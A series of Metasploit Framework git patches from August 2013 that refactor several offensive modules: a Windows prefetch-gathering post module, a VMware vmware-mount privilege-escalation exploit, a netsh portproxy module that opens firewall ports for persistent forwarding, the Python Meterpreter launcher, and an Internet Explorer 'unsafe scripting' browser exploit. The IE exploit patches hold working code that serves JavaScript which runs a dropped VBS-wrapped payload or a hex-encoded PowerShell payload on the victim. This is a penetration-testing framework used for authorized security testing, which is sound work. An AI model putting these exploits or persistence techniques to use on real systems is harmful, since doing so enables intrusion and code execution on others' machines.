print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)") return nil From 904bd126636180a3683a140ec857bb61900922d7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 09:27:18 -0500 Subject: [PATCH 395/454] Fix print over nil or empty string --- modules/post/windows/gather/enum_prefetch.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index c9cb8d79162a2..11ec6169c0fad 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -156,14 +156,14 @@ def run # Goes through the files in Prefetch directory, creates file paths for the # gather_pf_info function that enumerates all the pf info - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type) + getfile_prefetch_filenames = client.fs.file.search(full_path, file_type) if getfile_prefetch_filenames.empty? or getfile_prefetch_filenames.nil? print_error("Could not find/access any .pf files. Can't continue. (Might be temporary error..)") return nil else getfile_prefetch_filenames.each do |file| if file.empty? or file.nil? - print_error("Could not open file: %s" % file) + next else filename = File.join(file['path'], file['name']) gather_pf_info(name_offset, hash_offset, runcount_offset, filename, table) From 4f8ba82d0291a8941e0be907ffef1ad4996fb680 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 09:29:49 -0500 Subject: [PATCH 396/454] Make gather_pf_info return a prefetch entry --- modules/post/windows/gather/enum_prefetch.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 11ec6169c0fad..440ac407dee8a 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -62,11 +62,12 @@ def print_timezone_key_values(key_value) end end - def gather_pf_info(name_offset, hash_offset, runcount_offset, filename, table) + def gather_pf_info(name_offset, hash_offset, runcount_offset, filename) # We'll load the file and parse information from the offsets prefetch_file = read_file(filename) if prefetch_file.empty? or prefetch_file.nil? print_error("Couldn't read file: #{filename}") + return nil else # First we'll get the filename pf_filename = prefetch_file[name_offset..name_offset+60] @@ -85,7 +86,7 @@ def gather_pf_info(name_offset, hash_offset, runcount_offset, filename, table) last_modified = mtimes['Modified'].utc.to_s created = mtimes['Created'].utc.to_s end - table << [last_modified, created, run_count, path_hash, name] + return [last_modified, created, run_count, path_hash, name] end end @@ -166,7 +167,10 @@ def run next else filename = File.join(file['path'], file['name']) - gather_pf_info(name_offset, hash_offset, runcount_offset, filename, table) + pf_entry = gather_pf_info(name_offset, hash_offset, runcount_offset, filename) + if not pf_entry.nil? + table << pf_entry + end end end end From 5c32bb4a8e3fb1e36086abf9609a270cfe073d52 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 09:32:23 -0500 Subject: [PATCH 397/454] Beautify metadata --- modules/post/windows/gather/enum_prefetch.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 440ac407dee8a..f0f773ca93069 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -18,14 +18,15 @@ def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather Prefetch File Information', 'Description' => %q{ - This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems. - File offset reads for run count, hash and filename are collected from each prefetch file - while Last Modified and Create times are file MACE values. - }, - 'License' => MSF_LICENSE, - 'Author' => ['TJ Glad '], - 'Platform' => ['win'], - 'SessionType' => ['meterpreter'])) + This module gathers prefetch file information from WinXP, Win2k3 and Win7 systems. + Run count, hash and filename information is collected from each prefetch file while + Last Modified and Create times are file MACE values. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TJ Glad '], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'] + )) end def print_prefetch_key_value() From 0fbe411be75f2b4d79efc946456af363541c5e19 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 09:55:21 -0500 Subject: [PATCH 398/454] Ensure use Ruby File --- modules/post/windows/gather/enum_prefetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index f0f773ca93069..64d0575c19442 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -167,7 +167,7 @@ def run if file.empty? or file.nil? next else - filename = File.join(file['path'], file['name']) + filename = ::File.join(file['path'], file['name']) pf_entry = gather_pf_info(name_offset, hash_offset, runcount_offset, filename) if not pf_entry.nil? table << pf_entry From feae4a41e71ed9d6fe96bd1c3b3d2d5f36c7f543 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 28 Aug 2013 12:42:26 -0500 Subject: [PATCH 399/454] I don't like end-of-line comments --- modules/exploits/linux/local/vmware_mount.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 8a65b3d134ebc..db3e9d1bab1cf 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -18,7 +18,7 @@ class Metasploit4 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, { - 'Name' => 'VMWare Setuid vmware-mount Unsafe popen', + 'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)', 'Description' => %q{ VMWare Workstation (up to and including 9.0.2 build-1031769) and Player have a setuid executable called vmware-mount that @@ -92,7 +92,9 @@ def exploit cmd_exec("chmod +x lsb_release") cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") - cmd_exec("rm -f lsb_release") # using it over FileDropper because the original session can clean it up + # Delete it here instead of using FileDropper because the original + # session can clean it up + cmd_exec("rm -f lsb_release") end def setuid?(remote_file) From c31a2332beaad1fb156cdfdbffed51eee69285d5 Mon Sep 17 00:00:00 2001 From: bmerinofe Date: Wed, 28 Aug 2013 19:53:54 +0200 Subject: [PATCH 400/454] Juan changes applied --- modules/post/windows/manage/portproxy.rb | 55 +++++++++++++++++------- 1 file changed, 40 insertions(+), 15 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 13ef6ae96aaa5..e4a29ee29de3e 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -29,6 +29,7 @@ def initialize(info={}) OptAddress.new('CADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']), OptInt.new( 'CPORT', [ true, 'Port number to which to connect.']), OptInt.new( 'LPORT', [ true, 'Port number to which to listen.']), + OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]), OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']]) ], self.class) end @@ -42,19 +43,26 @@ def run type = datastore['TYPE'] lport = datastore['LPORT'] cport = datastore['CPORT'] + ipv6_xp = datastore['IPV6_XP'] laddress = datastore['LADDRESS'] caddress = datastore['CADDRESS'] - return if not enable_portproxy(lport,cport,laddress,caddress,type) + return if not enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp) fw_enable_ports(lport) end - def enable_portproxy(lport,cport,laddress,caddress,type) - # Due to a bug in Windows XP you need to install ipv6 + def enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp) + rtable = Rex::Ui::Text::Table.new( + 'Header' => 'Port Forwarding Table', + 'Indent' => 3, + 'Columns' => ['LOCAL IP', 'LOCAL PORT', 'REMOTE IP', 'REMOTE PORT'] + ) + + # Due to a bug in Windows XP you need to install IPv6 # http://support.microsoft.com/kb/555744/en-us if sysinfo["OS"] =~ /XP/ - return false if not enable_ipv6() + return false if not check_ipv6(ipv6_xp) end print_status("Setting PortProxy ...") @@ -67,26 +75,43 @@ def enable_portproxy(lport,cport,laddress,caddress,type) end output = cmd_exec("netsh","interface portproxy show all") - print_status("Local IP\tLocal Port\tRemote IP\tRemote Port") output.each_line do |l| - print_status("#{l.chomp}") if l.strip =~ /^[0-9]|\*/ + rtable << l.split(" ") if l.strip =~ /^[0-9]|\*/ end + print_status(rtable.to_s) return true end - def enable_ipv6() - print_status("Checking IPv6. This could take a while ...") - cmd_exec("netsh","interface ipv6 install",120) - output = cmd_exec("netsh","interface ipv6 show global") - if output =~ /-----/ - print_good("IPV6 installed.") + def ipv6_installed() + output = cmd_exec("netsh","interface ipv6 show interface") + if output.lines.count > 2 return true else - print_error("IPv6 was not successfully installed. Run it again.") return false end end + def check_ipv6(ipv6_xp) + if ipv6_installed() + print_status("IPv6 is already installed.") + return true + else + if not ipv6_xp + print_error("IPv6 is not installed. You need IPv6 to use portproxy.") + return false + else + print_status("Installing IPv6 ...") + cmd_exec("netsh","interface ipv6 install",120) + if not ipv6_installed + print_error("IPv6 was not successfully installed. Run it again.") + return false + end + print_good("IPv6 was successfully installed.") + return true + end + end + end + def fw_enable_ports(port) print_status ("Setting port #{port} in Windows Firewall ...") begin @@ -102,8 +127,8 @@ def fw_enable_ports(port) else print_error("There was an error enabling the port.") end - rescue::Exception => e + rescue ::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end end -end +end \ No newline at end of file From f490277c6dc280dfee6e5a6b6a1d5260d81b751a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 28 Aug 2013 17:19:49 -0400 Subject: [PATCH 401/454] Always os.fork() when available. --- data/meterpreter/meterpreter.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 8d58cc7e5f7e4..0cbdf74c927cd 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -403,5 +403,6 @@ def create_response(self, request): resp = struct.pack('>I', len(resp) + 4) + resp return resp -met = PythonMeterpreter(s) -met.run() +if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): + met = PythonMeterpreter(s) + met.run() From aa0563244b22656d8cfdaba5657f72d78f718d81 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 28 Aug 2013 22:30:46 +0100 Subject: [PATCH 402/454] Update unsafe scripting module --- .../windows/browser/ie_unsafe_scripting.rb | 145 ++++++++---------- 1 file changed, 64 insertions(+), 81 deletions(-) diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb index 4cc70f581dc49..933cafd475839 100644 --- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb +++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb @@ -6,12 +6,15 @@ ## require 'msf/core' +require 'msf/util/exe' +require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE + include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, @@ -21,10 +24,7 @@ def initialize(info = {}) marked safe for scripting" setting within Internet Explorer. When this option is set, IE allows access to the WScript.Shell ActiveX control, which allows javascript to interact with the file system and run commands. This security flaw is not uncommon - in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to - save binary data to the file system, ADODB.Stream access is required, which in IE7 - will trigger a cross domain access violation. As such, we write the code to a .vbs - file and execute it from there, where no such restrictions exist. + in corporate environments for the 'Intranet' or 'Trusted Site' zones. When set via domain policy, the most common registry entry to modify is HKLM\ Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201, @@ -35,96 +35,73 @@ def initialize(info = {}) via a direct GET http://msf-server/ or as a javascript include, such as in: http://intranet-server/xss.asp?id="> . + + IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from + an x64 iexplore.exe. }, + 'License' => MSF_LICENSE, 'Author' => [ - 'natron' + 'natron', + 'Ben Campbell ' # PSH and remove ADODB.Stream ], - 'References' => + 'References' => [ [ 'URL', 'http://support.microsoft.com/kb/182569' ], [ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ], + [ 'URL', 'http://support.microsoft.com/kb/870669'] ], - 'DisclosureDate' => 'Sep 20 2010', - 'Payload' => - { - 'Space' => 2048, - 'StackAdjustment' => -3500, - }, - 'Platform' => 'win', - 'Targets' => + 'DisclosureDate' => 'Sep 20 2010', + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ] + ], + 'DefaultOptions' => + { + 'HTTP::compression' => 'gzip' + }, + 'DefaultTarget' => 0)) + + register_options( [ - [ 'Automatic', { } ], - ], - 'DefaultOptions' => - { - 'HTTP::compression' => 'gzip' - }, - 'DefaultTarget' => 0)) + OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]), + ], self.class + ) end def on_request_uri(cli, request) - #print_status("Starting..."); # Build out the HTML response page - var_shellobj = rand_text_alpha(rand(5)+5); - var_fsobj = rand_text_alpha(rand(5)+5); - var_fsobj_file = rand_text_alpha(rand(5)+5); - var_vbsname = rand_text_alpha(rand(5)+5); - var_writedir = rand_text_alpha(rand(5)+5); - var_exename = rand_text_alpha(rand(5)+5); - var_origLoc = rand_text_alpha(rand(5)+5); - var_byteArray = rand_text_alpha(rand(5)+5); - var_stream = rand_text_alpha(rand(5)+5); - var_writestream = rand_text_alpha(rand(5)+5); - var_strmConv = rand_text_alpha(rand(5)+5); - - p = regenerate_payload(cli); - print_status("Request received for #{request.uri}"); - exe = generate_payload_exe({ :code => p.encoded }) - #print_status("Building vbs file..."); - # Build the content that will end up in the .vbs file - vbs_content = Rex::Text.to_hex(%Q|Dim #{var_origLoc}, s, #{var_byteArray} -#{var_origLoc} = SetLocale(1033) -|) - - print_status("Encoding payload into vbs/javascript/html..."); - # Drop the exe payload into an ansi string (ansi ensured via SetLocale above) - # for conversion with ADODB.Stream - - vbs_ary = [] - # The output of this loop needs to be as small as possible since it - # gets repeated for every byte of the executable, ballooning it by a - # factor of about 80k (the current size of the exe template). In its - # current form, it's down to about 4MB on the wire - exe.each_byte do |b| - vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") + var_shellobj = rand_text_alpha(rand(5)+5) + + p = regenerate_payload(cli) + if datastore['TECHNIQUE'] == 'VBS' + js_content = vbs_technique(var_shellobj, p) + else + js_content = psh_technique(var_shellobj, p) end - vbs_content << vbs_ary.join("") - # Continue with the rest of the vbs file; - # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent - # Then use ADODB.Stream again to write the binary to file. - #print_status("Finishing vbs..."); - vbs_content << Rex::Text.to_hex(%Q| -Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} -#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{var_exename}.exe" + print_status("Request received for #{request.uri}") + print_status("Sending exploit html/javascript"); -Set #{var_strmConv} = CreateObject("ADODB.Stream") + # Transmit the response to the client + send_response(cli, js_content, { 'Content-Type' => 'text/html' }) -#{var_strmConv}.Type = 2 -#{var_strmConv}.Charset = "x-ansi" -#{var_strmConv}.Open -#{var_strmConv}.WriteText s, 0 -#{var_strmConv}.Position = 0 -#{var_strmConv}.Type = 1 -#{var_strmConv}.SaveToFile #{var_writedir}, 2 + # Handle the payload + handler(cli) + end -SetLocale(#{var_origLoc})|) + def vbs_technique(var_shellobj, p) + var_fsobj = rand_text_alpha(rand(5)+5) + var_fsobj_file = rand_text_alpha(rand(5)+5) + var_vbsname = rand_text_alpha(rand(5)+5) + var_writedir = rand_text_alpha(rand(5)+5) - # Encode the vbs_content - #print_status("Hex encoded vbs_content: #{vbs_content}"); + exe = generate_payload_exe({ :code => p.encoded }) + vbs = Msf::Util::EXE.to_exe_vbs(exe) + vbs_content = Rex::Text.to_hex(vbs) # Build the javascript that will be served js_content = %Q| @@ -138,18 +115,24 @@ def on_request_uri(cli, request) #{var_fsobj_file}.Close(); #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true); -#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{var_exename}.exe", 0, false); #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs"); // | + return js_content + end - print_status("Sending exploit html/javascript"); - print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target."); - - # Transmit the response to the client - send_response(cli, js_content, { 'Content-Type' => 'text/html' }) + def psh_technique(var_shellobj, p) + cmd = cmd_psh_payload(p.encoded) + cmd.gsub!('"','') + cmd.gsub!('\\powershell.exe\\',"'powershell.exe'") + cmd.strip! # Remove trailing new line + js_content = %Q| +// +| - # Handle the payload - handler(cli) + return js_content end end From a12f5092dd0203c90d048c53c12bf0cac1778381 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 28 Aug 2013 22:37:11 +0100 Subject: [PATCH 403/454] Encode the powershell cmd --- modules/exploits/windows/browser/ie_unsafe_scripting.rb | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb index 933cafd475839..b82dce01fe243 100644 --- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb +++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb @@ -122,14 +122,11 @@ def vbs_technique(var_shellobj, p) end def psh_technique(var_shellobj, p) - cmd = cmd_psh_payload(p.encoded) - cmd.gsub!('"','') - cmd.gsub!('\\powershell.exe\\',"'powershell.exe'") - cmd.strip! # Remove trailing new line + cmd = Rex::Text.to_hex(cmd_psh_payload(p.encoded)) js_content = %Q| // | From 3a2a2a9cc0f13c8ead64219b4b0435ad3ea9b43a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 16:48:36 -0500 Subject: [PATCH 404/454] Beautify metadata --- modules/post/windows/manage/portproxy.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index e4a29ee29de3e..6d4bcd708d45e 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -12,10 +12,11 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Manage PortProxy Interface', + 'Name' => 'Windows Manage Set Port Forwarding With PortProxy', 'Description' => %q{ - This module uses the PortProxy interface from netsh to set up port forwarding - persistently (even after reboot). PortProxy supports TCP IPv4 and IPv6 connections. + This module uses the PortProxy interface from netsh to set up + port forwarding persistently (even after reboot). PortProxy + supports TCP IPv4 and IPv6 connections. }, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino '], From c68986e6eb63417d4e208c60fc11da233c906114 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 16:50:44 -0500 Subject: [PATCH 405/454] Favor unless over if not --- modules/post/windows/manage/portproxy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 6d4bcd708d45e..530fcc2269ce6 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -48,7 +48,7 @@ def run laddress = datastore['LADDRESS'] caddress = datastore['CADDRESS'] - return if not enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp) + return unless enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp) fw_enable_ports(lport) end From ad1b9fbaefc0be9d8501b72154272b1bad49be16 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:00:10 -0500 Subject: [PATCH 406/454] Use datastore options to avoid complex logic around args --- modules/post/windows/manage/portproxy.rb | 37 ++++++++++++------------ 1 file changed, 18 insertions(+), 19 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 530fcc2269ce6..555baa303a102 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -41,19 +41,12 @@ def run return end - type = datastore['TYPE'] - lport = datastore['LPORT'] - cport = datastore['CPORT'] - ipv6_xp = datastore['IPV6_XP'] - laddress = datastore['LADDRESS'] - caddress = datastore['CADDRESS'] - - return unless enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp) - fw_enable_ports(lport) + return unless enable_portproxy + fw_enable_ports end - def enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp) + def enable_portproxy rtable = Rex::Ui::Text::Table.new( 'Header' => 'Port Forwarding Table', 'Indent' => 3, @@ -63,11 +56,17 @@ def enable_portproxy(lport,cport,laddress,caddress,type,ipv6_xp) # Due to a bug in Windows XP you need to install IPv6 # http://support.microsoft.com/kb/555744/en-us if sysinfo["OS"] =~ /XP/ - return false if not check_ipv6(ipv6_xp) + return false if not check_ipv6 end print_status("Setting PortProxy ...") - output = cmd_exec("netsh","interface portproxy add #{type} listenport=#{lport} listenaddress=#{laddress} connectport=#{cport} connectaddress=#{caddress}") + netsh_args = "interface portproxy " + netsh_args << "add #{datastore['TYPE']} " + netsh_args << "listenport=#{datastore['LPORT']} " + netsh_args << "listenaddress=#{datastore['LADDRESS']} " + netsh_args << "connectport=#{datastore['CPORT']} " + netsh_args << "connectaddress=#{datastore['CADDRESS']}" + output = cmd_exec("netsh", netsh_args) if output.size > 2 print_error("Setup error. Verify parameters and syntax.") return false @@ -92,12 +91,12 @@ def ipv6_installed() end end - def check_ipv6(ipv6_xp) + def check_ipv6 if ipv6_installed() print_status("IPv6 is already installed.") return true else - if not ipv6_xp + if not datastore['IPV6_XP'] print_error("IPv6 is not installed. You need IPv6 to use portproxy.") return false else @@ -113,17 +112,17 @@ def check_ipv6(ipv6_xp) end end - def fw_enable_ports(port) - print_status ("Setting port #{port} in Windows Firewall ...") + def fw_enable_ports + print_status ("Setting port #{datastore['LPORT']} in Windows Firewall ...") begin if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/ - cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{port}\"") + cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LPORT']}\"") else - cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{port}\"") + cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LPORT']}\"") end output = cmd_exec("netsh","firewall show state") - if output =~ /^#{port} / + if output =~ /^#{datastore['LPORT']} / print_good("Port opened in Windows Firewall.") else print_error("There was an error enabling the port.") From ad8b6ec1efdfaccc5630b63fc0d4bcc33ff6b875 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:08:22 -0500 Subject: [PATCH 407/454] Avoid redefine builtin datastore options --- modules/post/windows/manage/portproxy.rb | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 555baa303a102..12bce2d02444a 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -26,10 +26,10 @@ def initialize(info={}) register_options( [ - OptAddress.new('LADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']), - OptAddress.new('CADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']), - OptInt.new( 'CPORT', [ true, 'Port number to which to connect.']), - OptInt.new( 'LPORT', [ true, 'Port number to which to listen.']), + OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']), + OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']), + OptInt.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']), + OptInt.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']), OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]), OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']]) ], self.class) @@ -62,10 +62,10 @@ def enable_portproxy print_status("Setting PortProxy ...") netsh_args = "interface portproxy " netsh_args << "add #{datastore['TYPE']} " - netsh_args << "listenport=#{datastore['LPORT']} " - netsh_args << "listenaddress=#{datastore['LADDRESS']} " - netsh_args << "connectport=#{datastore['CPORT']} " - netsh_args << "connectaddress=#{datastore['CADDRESS']}" + netsh_args << "listenport=#{datastore['LOCAL_PORT']} " + netsh_args << "listenaddress=#{datastore['LOCAL_ADDRESS']} " + netsh_args << "connectport=#{datastore['CONNECT_PORT']} " + netsh_args << "connectaddress=#{datastore['CONNECT_ADDRESS']}" output = cmd_exec("netsh", netsh_args) if output.size > 2 print_error("Setup error. Verify parameters and syntax.") @@ -113,16 +113,16 @@ def check_ipv6 end def fw_enable_ports - print_status ("Setting port #{datastore['LPORT']} in Windows Firewall ...") + print_status ("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...") begin if sysinfo["OS"] =~ /Windows 7|Vista|2008|2012/ - cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LPORT']}\"") + cmd_exec("netsh","advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"") else - cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LPORT']}\"") + cmd_exec("netsh","firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"") end output = cmd_exec("netsh","firewall show state") - if output =~ /^#{datastore['LPORT']} / + if output =~ /^#{datastore['LOCAL_PORT']} / print_good("Port opened in Windows Firewall.") else print_error("There was an error enabling the port.") From f3395108168e59b406f42f9cb8a2221148c5a75f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:10:22 -0500 Subject: [PATCH 408/454] Use OptPort --- modules/post/windows/manage/portproxy.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 12bce2d02444a..18da68d02c3c7 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -26,12 +26,12 @@ def initialize(info={}) register_options( [ - OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']), + OptAddress.new('LOCAL_ADDRESS', [ true, 'IPv4/IPv6 address to which to listen.']), OptAddress.new('CONNECT_ADDRESS', [ true, 'IPv4/IPv6 address to which to connect.']), - OptInt.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']), - OptInt.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']), - OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]), - OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']]) + OptPort.new( 'CONNECT_PORT', [ true, 'Port number to which to connect.']), + OptPort.new( 'LOCAL_PORT', [ true, 'Port number to which to listen.']), + OptBool.new( 'IPV6_XP', [ true, 'Install IPv6 on Windows XP (needed for v4tov4).', true]), + OptEnum.new( 'TYPE', [ true, 'Type of forwarding', 'v4tov4', ['v4tov4','v6tov6','v6tov4','v4tov6']]) ], self.class) end From c04e6b2b142d2ea8f22bf39f50440e71330faf41 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:13:21 -0500 Subject: [PATCH 409/454] Reduce code complexity on check_ipv6 --- modules/post/windows/manage/portproxy.rb | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 18da68d02c3c7..dbecd2506b96c 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -95,20 +95,18 @@ def check_ipv6 if ipv6_installed() print_status("IPv6 is already installed.") return true + elsif not datastore['IPV6_XP'] + print_error("IPv6 is not installed. You need IPv6 to use portproxy.") + return false else - if not datastore['IPV6_XP'] - print_error("IPv6 is not installed. You need IPv6 to use portproxy.") + print_status("Installing IPv6 ...") + cmd_exec("netsh","interface ipv6 install",120) + if not ipv6_installed + print_error("IPv6 was not successfully installed. Run it again.") return false - else - print_status("Installing IPv6 ...") - cmd_exec("netsh","interface ipv6 install",120) - if not ipv6_installed - print_error("IPv6 was not successfully installed. Run it again.") - return false - end - print_good("IPv6 was successfully installed.") - return true end + print_good("IPv6 was successfully installed.") + return true end end From 6b8c7cbe24736f2d73018a10c2940f3b8c2785c7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 28 Aug 2013 17:15:28 -0500 Subject: [PATCH 410/454] Omit parentheses for method call with no args --- modules/post/windows/manage/portproxy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index dbecd2506b96c..765d0c2c44977 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -92,7 +92,7 @@ def ipv6_installed() end def check_ipv6 